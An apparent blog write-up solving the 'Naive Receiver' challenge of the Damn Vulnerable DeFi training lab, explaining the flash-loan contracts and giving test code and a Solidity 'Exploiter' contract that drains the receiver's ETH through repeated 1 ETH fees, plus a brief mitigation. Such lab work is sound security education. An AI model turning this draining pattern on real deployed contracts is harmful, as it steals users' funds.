Cover photo

Damn Vulnerable Defi #2 : Naive Receiver Solution

Problem

There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.

Take all ETH out of the user’s contract. If possible, in a single transaction.

Contracts

I’ve discussed in detail how flash loans work in my previous article on this series. Check it out here. This challenge also makes use of flash loans being taken out from a vault. Let’s first take a look at the logic that is defined in the lender contract

NaiveReceiverLenderPool.sol contract
NaiveReceiverLenderPool.sol contract

The first thing to notice is that this contract takes a pretty large fee (1 ETH!) on each loan. This fee is charged every time a user performs a flash loan. Diving into the flashLoan contract, the contract first checks that the token being deposited is ETH and reverts otherwise. Next, it transfers the requested amount to the receiver and calls the receiver’s onFlashLoan method. Finally, it verifies that the receiver sent back the full balance plus the fee.

Now let’s take a look at the borrower side contract.

FlashLoanReceiver.sol contract
FlashLoanReceiver.sol contract

This contract implements IERC3156FlashBorrower which requires it to implement the onFlashLoan method. First, we check that the caller() is the pool address that this receiver contract is expecting. This ensures that it does not receive a flash loan from an unexpected (maybe malicious) source. The assembly code here reverts with 0x48f5c3ed which I learned translates to an InvalidCaller code.

If the token being transferred is not ETH, the function reverts with an UnsupportedCurrency exception. The amountToBeRepaid value is populated with the amount plus the requested fee from the loan provider. It should be noted that this is using unchecked math which can overflow without reverting in solidity. This is a gas saving technique, but comes at a risk if the numbers are very large and may overflow or underflow. Finally, the function makes a call to _executeActionDuringFlashLoan which will perform any actions with the funds and then returns the amount borrowed plus the fee to the loan provider.

Solution (multiple transactions)

Okay so with that background out of the way, how do we actually solve this puzzle? Since the flash loan takes such a large fee, it can be solved by forcing the receiver to take a loan over and over again unintentionally. Here is the naive solution

it('Execution multi transaction', async function () {
    /** CODE YOUR SOLUTION HERE */
    const ETH = await pool.ETH();

    for (let i = 0; i < 10; i++) {
        await pool.flashLoan(receiver.address, ETH, 1n * 10n ** 18n, "0x");
    }
});

In this solution, we make 10 transactions to the pool contract to perform a flash loan to the borrower. After making 10 flash loans, the 10 ETH that the borrower started with have been drained into the flash loan pool.

Solution (single transaction)

The problem statement adds an extra challenge to do this in only one transaction. In the real world, attackers try to attack contracts in as few transactions as possible to reduce the risk of getting caught before completing their intended actions. To do this, we need a helper contract that will do the attack on chain in a single transaction. First, I created an exploiter contract like so

contract Exploiter is IERC3156FlashBorrower {
  IERC3156FlashLender lender;
  IERC3156FlashBorrower borrower;

  constructor(IERC3156FlashLender _lender, IERC3156FlashBorrower _borrower) {
    lender = _lender;
    borrower = _borrower;
  }

  receive () payable external {
    uint borrowerBalance = address(borrower).balance;

    while (borrowerBalance > 0) {
      lender.flashLoan(borrower, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 1 ether, "0x");
      borrowerBalance = address(borrower).balance;
    }
  }

  function onFlashLoan(address, address, uint256, uint256, bytes calldata) external override returns (bytes32) {
    SafeTransferLib.safeTransferETH(address(lender), 1 ether);

    return keccak256("ERC3156FlashBorrower.onFlashLoan");
  }
}

This contract will act as another borrower which will perform the draining actions for us in the same transaction. By calling the flashLoan function on the pool with the exploiter contract as the receiver, it triggers a call to the receive function. receive is a function in smart contracts that is called by default whenever the contract receives any ether. In the receive function, I create more calls to flashLoan with the borrower contract as the receiver until the borrowerBalance has gone down to 0.

After adding this contract, the challenge can be solved with one transaction like so:

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const ExploiterFactory = await ethers.getContractFactory('Exploiter', player);
    const exploiter = await ExploiterFactory.deploy(pool.address, receiver.address);

    const ETH = await pool.ETH();
    await pool.flashLoan(exploiter.address, ETH, 1n * 10n ** 18n, "0x");
});

Mitigation

One way to mitigate this issue would be to check that the receiver in the flashLoan function is the initiator of the transaction. To me, it is a security risk to allow anyone to make a contract perform a flash loan and drain its fees.

Credits

Cover photo:

https://unsplash.com/photos/R9L7ukhBSgs?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink